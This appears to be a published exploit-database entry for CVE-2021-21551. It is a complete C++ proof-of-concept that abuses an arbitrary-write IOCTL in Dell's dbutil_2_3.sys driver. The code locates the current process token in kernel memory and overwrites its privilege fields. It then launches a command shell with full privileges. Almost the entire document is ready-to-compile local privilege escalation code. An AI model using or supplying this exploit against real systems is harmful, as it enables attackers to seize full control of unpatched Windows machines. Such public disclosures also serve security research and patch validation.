DELL dbutil_2_3.sys 2.3 Arbitrary Write / Privilege Escalation

Related Vulnerabilities: CVE-2021-21551   CVE-2021-21551  
Publish Date: 21 May 2021
Author: Paolo Stagno
                							

                # Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version: <= 2.3
# CVE: CVE-2021-21551
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/

#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>

#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
  uint64_t    Field1;     // "padding" can be anything
  void*    Field2;    // where to write
  uint64_t    Field3;     // must be 0
  uint64_t    Field4;     // value to write
};

typedef struct outBuffer
{
  uint64_t    Field1;
  uint64_t  Field2;
  uint64_t    Field3;
  uint64_t    Field4;
};

// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
  ULONG SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength);

// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
  USHORT UniqueProcessId;
  USHORT CreatorBackTraceIndex;
  UCHAR ObjectTypeIndex;
  UCHAR HandleAttributes;
  USHORT HandleValue;
  PVOID Object;
  ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG NumberOfHandles;
  SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

int main(int argc, char** argv)
{

  // open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
  HANDLE device = ::CreateFileW(
    L"\\\\.\\DBUtil_2_3",
    GENERIC_WRITE | GENERIC_READ,
    NULL,
    nullptr,
    OPEN_EXISTING,
    NULL,
    NULL);
  if (device == INVALID_HANDLE_VALUE)
  {
    std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";

  // resolve the address of NtQuerySystemInformation and assign it to a function pointer
  pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
  if (!NtQuerySystemInformation)
  {
    std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Resolved NtQuerySystemInformation!\n";

  // open the current process token - it will be used to retrieve its kernelspace address later
  HANDLE currentProcess = ::GetCurrentProcess();
  HANDLE currentToken = NULL;
  bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
  if (!success)
  {
    std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Opened a handle to the current process token!\n";

  // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
  PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);

  // call NtQuerySystemInformation and fill the handleTableInformation structure
  ULONG returnLength = 0;
  NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);

  uint64_t tokenAddress = 0;
  // iterate over the system's handle table and look for the handles beloging to our process
  for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
  {
    SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
    // if it finds our process and the handle matches the current token handle we already opened, print it
    if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
    {
      tokenAddress = (uint64_t)handleInfo.Object;
      std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
    }
  }

  outBuffer buffer =
  {
    0,
    0,
    0,
    0
  };

  /*
  dt nt!_SEP_TOKEN_PRIVILEGES
     +0x000 Present          : Uint8B
     +0x008 Enabled          : Uint8B
     +0x010 EnabledByDefault : Uint8B

  We've added +1 to the offsets to ensure that the low bytes part are 0xff.
  */

  // overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token
  Exploit exploit =
  {
    0x4141414142424242,
    (void*)(tokenAddress + 0x40),
    0x0000000000000000,
    0xffffffffffffffff
  };

  // overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token
  Exploit exploit2 =
  {
    0x4141414142424242,
    (void*)(tokenAddress + 0x48),
    0x0000000000000000,
    0xffffffffffffffff
  };

  // overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token
  Exploit exploit3 =
  {
    0x4141414142424242,
    (void*)(tokenAddress + 0x50),
    0x0000000000000000,
    0xffffffffffffffff
  };

  DWORD bytesReturned = 0;
  success = DeviceIoControl(
    device,
    IOCTL_CODE,
    &exploit,
    sizeof(exploit),
    &buffer,
    sizeof(buffer),
    &bytesReturned,
    nullptr);
  if (!success)
  {
    std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Successfully overwritten current token 'Present' field!\n";

  success = DeviceIoControl(
    device,
    IOCTL_CODE,
    &exploit2,
    sizeof(exploit2),
    &buffer,
    sizeof(buffer),
    &bytesReturned,
    nullptr);
  if (!success)
  {
    std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";

  success = DeviceIoControl(
    device,
    IOCTL_CODE,
    &exploit3,
    sizeof(exploit3),
    &buffer,
    sizeof(buffer),
    &bytesReturned,
    nullptr);
  if (!success)
  {
    std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
    return -1;
  }
  std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
  std::cout << "[+] Token privileges successfully overwritten!\n";
  std::cout << "[+] Spawning a new shell with full privileges!\n";

  system("cmd.exe");

  return 0;
}
            
<p>